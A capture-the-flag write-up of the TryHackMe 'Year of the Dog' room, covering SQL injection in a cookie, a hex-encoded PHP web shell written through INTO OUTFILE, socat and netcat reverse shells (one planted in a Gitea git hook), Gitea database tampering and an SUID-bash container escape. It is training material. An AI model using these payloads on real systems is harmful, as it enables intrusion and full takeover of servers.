Year of the Dog — Write-up

Year of the Dog — Write-up


TryHackMe Challenge Link: https://tryhackme.com/room/yearofthedog



Another room, another write-up. Year of the Dog is the next box in my New Year series, following on from the Year of the Pig. As with Year of the Pig, this box is designed vaguely with preparation for a certain exam in mind; however, this box requires knowledge slightly in excess of what is offered by the training material for said certification. As a result, I hope that it allows for an extension of that knowledge — something very much required for the examination itself…

Without further ado, let’s begin.


Enumeration

Where else could we start, other than with enumeration?

Let’s get a basic nmap scan up and running against the target. I’ve added the box IP into my /etc/hosts file as yotd.thm, however, this step is not necessary for the completion of the box.

nmap -p- -vv <MACHINE-IP> -oG initial-scan
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Initial scan results showing ports 22 and 80
Initial Scan results

From this we can assume that we’re dealing with SSH on port 22, and a webserver on port 80, but let’s just perform a service scan on these ports to confirm:

nmap -sV -sC -vv -p 22,80 <MACHINE-IP> -oN common-scan
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e4:c9:dd:9b:db:95:9e:fd:19:a9:a6:0d:4c:43:9f:fa (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrxDlZxvJUZk2qXaeBdjHxfM3MSGpZ8H6zPqgarnP3K806zE1Y/CryyT4wgIZYomtV8wUWHlFkuqbWjcKcM1MWcPjzGWfPZ2wHTNgUkHvBWZ+fxoX8vJoC6wfpifa7bSMaOItFWSLnMGOXigHbF6dPNyP+/kXAJE+tg9TurrTKaPiL6u+02ITeVUuLWsjwlLDJAnu1zDhPONR2b7WTcU/zQxHUYZiHpHn5eBtXpCZPZyfOZ+828ibobM/CAHIBZqJsYksAe5RbtDw7Vdw/8OtYuo4Koz8C2kBoWCHvsmyDfwZ57E2Ycss4JG5j7fMt7sI+lh/NHE+/7zrXdH/4njCD
|   256 c3:fc:10:d8:78:47:7e:fb:89:cf:81:8b:6e:f1:0a:fd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMlni4gM6dVkvfGeMy6eg/18HsCYvvFhbpycXiGYM3fitNhTXW4WpMpr8W/0y2FszEB6TGD93ib/lCTsBOQG5Uw=
|   256 27:68:ff:ef:c0:68:e2:49:75:59:34:f2:bd:f0:c9:20 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICQIHukp5WpajvhF4juRWmL2+YtbN9HbhgLScgqYNien
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Canis Queue
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSH tends to be significantly less of an attack vector than a webserver, so let’s take a look at that website.

Website

Screenshot showing the home page of the website
Website Home Page

Gobuster and Nikto don’t return anything of any interest, so we’ll enumerate this manually.

The only thing of any interest on the webpage is the presence of a cookie: “id”:

Screenshot showing the id cookie in the firefox developer tools
ID Cookie in Firefox developer tools

It would make sense for this to contain our number in the queue (13, at present time), but it contains a full ID. What happens if we change the value of this?

Screenshot of the webpage with a changed value for the id cookie. This shows an error in place of the number previously shown.
Changed Cookie Value

Changing the cookie value results in the webpage displaying an Error where the number was. This indicates that we’re dealing with an SQL query, so, SQLi?

Let’s try adding an apostrophe at the end of the cookie value and see what happens:

<VALUE>'
Screenshot showing that the cookie "id" is vulnerable to SQLi.
SQLi
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''8dad3db46c9d9eb69d71a9912b353186''' at line 1

This indicates that we do indeed have SQLi here — all we need to do is exploit it!


SQLi

We know that we’re dealing with a MySQL server, so let’s try getting the version:

<VALUE>' union select 1, @@version-- -
Screenshot showing the MySQL version
Getting the MySQL Version

Through experimenting with the UNION query, we can tell that the number of columns required is two (see the TryHackMe SQLi room for more details). Selecting the MySQL version in each of these in turn, we find that the second column will show us the output of the @@version command. Awesome. Let’s enumerate this database:

<VALUE>' union select 1, table_name FROM information_schema.tables-- -
Screenshot showing the output of the table_names -- only queue is shown.
Getting the table names

This shows us that there is a table called queue. This is presumably where our ID and queue number are stored, but given we haven’t been asked to enter any further information, we can assume that there won’t be anything sensitive in this table. Instead, let’s change tactic and see if we can upload a webshell.

For this to work, the MySQL server must be set up to allow output to files under the webroot. This is a dangerous configuration setting to allow, but in this case, it has been enabled:

<VALUE>' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3C3F706870206563686F20223C7072653E22202E207368656C6C5F6578656328245F4745545B22636D64225D29202E20223C2F7072653E223B3F3E-- -
Screenshot demonstrating the above command.
Adding a shell

This gives us an “Error” as our ID, but has successfully executed our query. Now if we navigate to /shell.php we should have RCE.

Before we do, let’s break this down a little. First up we have our token with the appended apostrophe (') to break out of the original query. Next we’re telling the query to send the output into a file (INTO OUTFILE '/var/www/html/shell.php'). This location was chosen as the most common place to serve files from with an Apache Webserver. Penultimately we have the great wall of text:

LINES TERMINATED BY 0x3C3F706870206563686F20223C7072653E22202E207368656C6C5F6578656328245F4745545B22636D64225D29202E20223C2F7072653E223B3F3E

Usually you would terminate a line with something like a carriage return or a new line character, however, MySQL allows you to terminate with whatever you like — including hex characters. The hex code above is converted to:

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";?>

Which effectively means that every line that gets written to the file will have our web shell appended to it. This is a great way to bypass filters, as well as to avoid messing around with quotation marks which could break the query. That said, it is imperative that we have at least one line written to the file, otherwise the webshell won’t be appended. In other words, our query must return at least one result for our shell to be added. You could also do this with a straight UNION SELECT query, which is simpler, but then you’d also need to contend with the aforementioned quotation mark problem.

Let’s head to our shell and see the results now!

http://<MACHINE-IP>/shell.php?cmd=whoami
Screenshot showing execution of whoami command in the webshell
RCE Achieved

We have successfully achieved RCE!

Let’s use it to gain a full reverse shell.

As per usual, I’ll be going to socat for this. First I’m using a socat static binary (found here). I’m then using a python webserver to serve this on port 80:

sudo python3 -m http.server 80

At the same time, I am starting a socat listener:

socat tcp-l:53 file:`tty`,raw,echo=0

Finally, I am using the following command to obtain the shell:

wget <THM-IP>/socat -q -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat tcp:<THM-IP>:<PORT> exec:"bash -li",pty,stderr,sigint,setsid,sane

This needs to be URL encoded after having the values correctly substituted in. For this, I am using https://www.urlencoder.org/. Finally, we can use our webshell to execute the command:

yotd.thm/shell.php?cmd=wget%2010.11.12.223%2Fl%2Fsocat%20-q%20-O%20%2Ftmp%2Fsocat%3B%20chmod%20%2Bx%20%2Ftmp%2Fsocat%3B%20%2Ftmp%2Fsocat%20tcp%3A10.11.12.223%3A53%20exec%3A%22bash%20-li%22%2Cpty%2Cstderr%2Csigint%2Csetsid%2Csane
Screenshot of the reverse shell as www-data. Also shows the ifconfig command, demonstrating that docker is running
Reverse Shell as `www-data`

We now have a shell running as www-data!


Foothold — www-data

Before we start looking for a privesc, it’s worth noting that in the ifconfig screenshot above, there was a docker IP address — however, the assigned TryHackMe network address (10.10.124.173 for me) is also there. This indicates that we’re on the host machine, however, looking for docker containers would be a good idea.

Looking around the machine we see that there is a user called Dylan on the box. In /home/dylan there are two files: user.txt and work_analysis. We can’t read user.txt, but we can read the work_analysis file:

Screenshot of the files in /home/dylan. Text shown below.
Screenshot of the contents of files in /home/dylan
www-data@year-of-the-dog:/home/dylan$ ls -l
total 88
-r-------- 1 dylan dylan 38 Sep 5 22:34 user.txt
-rw-r--r-- 1 dylan dylan 85134 Sep 5 21:11 work_analysis
www-data@year-of-the-dog:/home/dylan$ cat user.txt
cat: user.txt: Permission denied
www-data@year-of-the-dog:/home/dylan$ head work_analysis
Sep 5 20:52:34 staging-server sshd[39184]: Received disconnect from 192.168.1.142 port 45582:11: Bye Bye [preauth]
Sep 5 20:52:34 staging-server sshd[39184]: Disconnected from authenticating user root 192.168.1.142 port 45582 [preauth]
Sep 5 20:52:35 staging-server sshd[39190]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39191]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39194]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39195]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39192]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39189]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39186]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39196]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root

The work_analysis file appears to be the clone of the auth.log of a server. A cursory examination indicates that the server in question has been the subject of an SSH bruteforce attack — presumably Dylan is meant to be analysing this file.

Ok, so what happens if someone else tried to login during the time clipped by the auth log? Maybe, just maybe, they messed up the login…

We know that there’s a user account called dylan, so let’s try grepping the file for that:

www-data@year-of-the-dog:/home/dylan$ grep "dylan" work_analysis
Sep 5 20:52:57 staging-server sshd[39218]: Invalid user dylan<REDACTED> from 192.168.1.142 port 45624
Sep 5 20:53:03 staging-server sshd[39218]: Failed password for invalid user dylan<REDACTED> from 192.168.1.142 port 45624 ssh2
Sep 5 20:53:04 staging-server sshd[39218]: Connection closed by invalid user dylan<REDACTED> 192.168.1.142 port 45624 [preauth]
Screenshot of the grep results. Text format shown above.
grep results

Well would you look at that! Dylan must have been contacted during the attack and rushed to login over SSH. In his hurry, he accidentally typed his password in the username field!

Now that he have his credentials, let’s log in as Dylan.


Privilege Escalation

We have successfully logged in as Dylan over SSH, so let’s grab the contents of user.txt:

Screenshot of logging in as dylan over SSH and opening user.txt. Flag redacted.
Screenshot of user.txt

Right, let’s go for the privesc.

Looking at the open ports, we see that port 3000 is open internally:

ss -tulwn
Screenshot showing that port 3000 is open on the target.
ss -tulwn

Let’s try accessing this.

We could do this in a variety of different ways, but for simplicity’s sake, I’m going to use the socat binary I uploaded earlier:

/tmp/socat tcp-l:8080,fork,reuseaddr tcp:127.0.0.1:3000 &

This will forward our traffic from port 8080 to port 3000 of the remote machine, backgrounding the process. Not very subtle, but it works.

With that done, let’s try navigating to the newly opened port in our own web browser:

Screenshot of the internal gitea service
Gitea

Looks like we’re dealing with an internal Gitea service.

Gitea

We already have a full set of credentials for a user account on the machine, so let’s try them here:

Screenshot of attempting to login using the user credentials we had previously.
Log in

Damn. Credentials were right, but Dylan has 2FA enabled.

Screenshot showing that Dylan has two factor authentification turned on
2FA

Given we don’t have access to Dylan’s authenticator, it looks like we’re back to the drawing board.

Let’s have a look at the /gitea directory. Presumably this is a mounted volume for the container, so maybe it contains some useful information?

Screenshot showing the permissions settings for the /gitea directory. Dylan owns the git and gitea subdirectories
Permissions of /gitea

Our current account (Dylan) appears to own the git and gitea subdirectories. This would seem very odd, until you consider the way that Linux handles user mappings. Dylan has UID 1000 and GID 1000 as his account is the first user account created by the system. If this directory is mapped into the gitea docker container, then it’s conceivable that there is a user account with UID 1000 and GID 1000 inside the container. Any files created with this account would be created with these values, which, outwith the container, belong to Dylan. Thus, outside the container, Dylan has ownership of any shared files created by the user account within the container. Convoluted, perhaps, but excellent for our next stage of exploitation!

Looking in the /gitea/gitea directory, we see that there is an sqlite3 database called gitea.db, which Dylan owns. This means that we could conceivably overwrite information in the database. Unfortunately, sqlite3 is not installed:

Screenshot showing the permissions for the gitea sqlite db, as well as sqlite3 not being intalled.
gitea.db permissions

Instead we will download the database for analysis. Before we do though, let’s use the Gitea application to register for a new account. Just use any username, email and password. The important thing is that there is an account owned by the attacker inside the database. Note that we currently don’t have any administrative privileges:

Screenshot showing a new account with no admin privileges
Created an account

With that done, let’s download the database. On the attacking machine:

scp dylan@<MACHINE-IP>:/gitea/gitea/gitea.db /tmp/gitea.db

Let’s open the DB using sqlite3 then look at everything in the user table:

Screenshot showing that our newly added account is in the user table of the database
user table

Note that our newly created account is in the list.

Looking at the table information with .schema user allows us to see that the admin privilege is given with an integer field called is_admin. Let’s check to compare our own account with Dylan’s privileges:

select lower_name, is_admin from user;
Screenshot showing no admin privileges
No admin privileges

As we can see, Dylan is an admin, however, our current account is not. Let’s change that:

UPDATE user SET is_admin=1 WHERE lower_name="<username>";
Screenshot showing our newly added admin privileges
Admin Privileges

We are now an admin, so we’ll use .quit to exit the database, then upload it with:

scp /tmp/gitea.db dylan@<MACHINE-IP>:/gitea/gitea/gitea.db

Thus overwriting the original database. Refresh the page, and we should now have admin access!

Screenshot showing our newly created admin user
Gitea admin access

With that done, let’s create a repository of our own. I’m calling it “Test-Repo”, and choosing to initialise it with a README.md file.

Looking at the settings for our repo, we see that we have access to Git Hooks for the server.

Screenshot of the repository settings, showing that Git Hooks are enabled
Settings

Git Hooks are scripts executed by the server when a commit is pushed to a repository. As we have permission to edit these, we can use this to gain RCE from the Gitea. Is this worth it? Potentially. We’ll be inside the docker container, but if we can privesc inside the container and there happens to be a connected volume (which, looking at /gitea in the host, there looks to be), we may just be able to gain root privileges on the host.

Let’s try it. Set up a netcat listener on the attacking machine, then go to the Git Hooks and alter the “pre-receive” hook (although any of them would do). This is just a bash script, so, at the end of the file, add in:

mkfifo /tmp/f; nc <THM-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Screenshot showing the addition of the above command into the end of the Pre-Receive githook.
Editing the Git Hook

Press “Update Hook”, then, as Dylan:

git clone http://localhost:3000/<USER>/<REPO> && cd <REPO>
echo "test" >> README.md
git add README.md
git commit -m "Exploit"
git push
Screenshot showing the application of the git hooks exploit
Git Hooks Exploit

We receive a reverse shell to our waiting listener:

Screenshot demonstrating the reverse shell as the git user
Reverse Shell into the container

Ok, so we’re currently the git user, but a quick check of sudo -l tells us that very little privesc will be necessary:

Screenshot showing that the git user can use any command as sudo
sudo -l

Well, that’s easy. One sudo -s later and we’re root:

Screenshot demonstrating the container privesc
Container Privesc

Having a look around we see that the contents of /data in the container directly mirror the contents of /gitea on the host. This is our shared volume. We could try copying a shell binary from the container into this directory, but that is unlikely to work due to the differences in distribution (the container being Alpine, and the host being Ubuntu). Instead, let’s set up a webserver as Dylan and download a copy of bash directly from the host. We’ll then set it to have SUID, and be executable by everyone.

On the host as Dylan:

python3 -m http.server

Inside the container, as root:

wget 172.17.0.1:8000/bash -O /data/bash
chmod 4755 /data/bash
Screenshot showing the application of the above commands
Downloading bash and setting permissions

As Dylan on the host, we can now navigate to /gitea and execute our shell with ./bash -p:

Screenshot showing the privesc using the SUID enabled shared bash binary
Privesc

As the binary was owned by root inside the container, it was mapped to be owned by root on the host, thus giving us our root shell!

With that, we have completed the Year of the Dog.

If you enjoyed this box, watch out for the next in the series… Here be Dragons.

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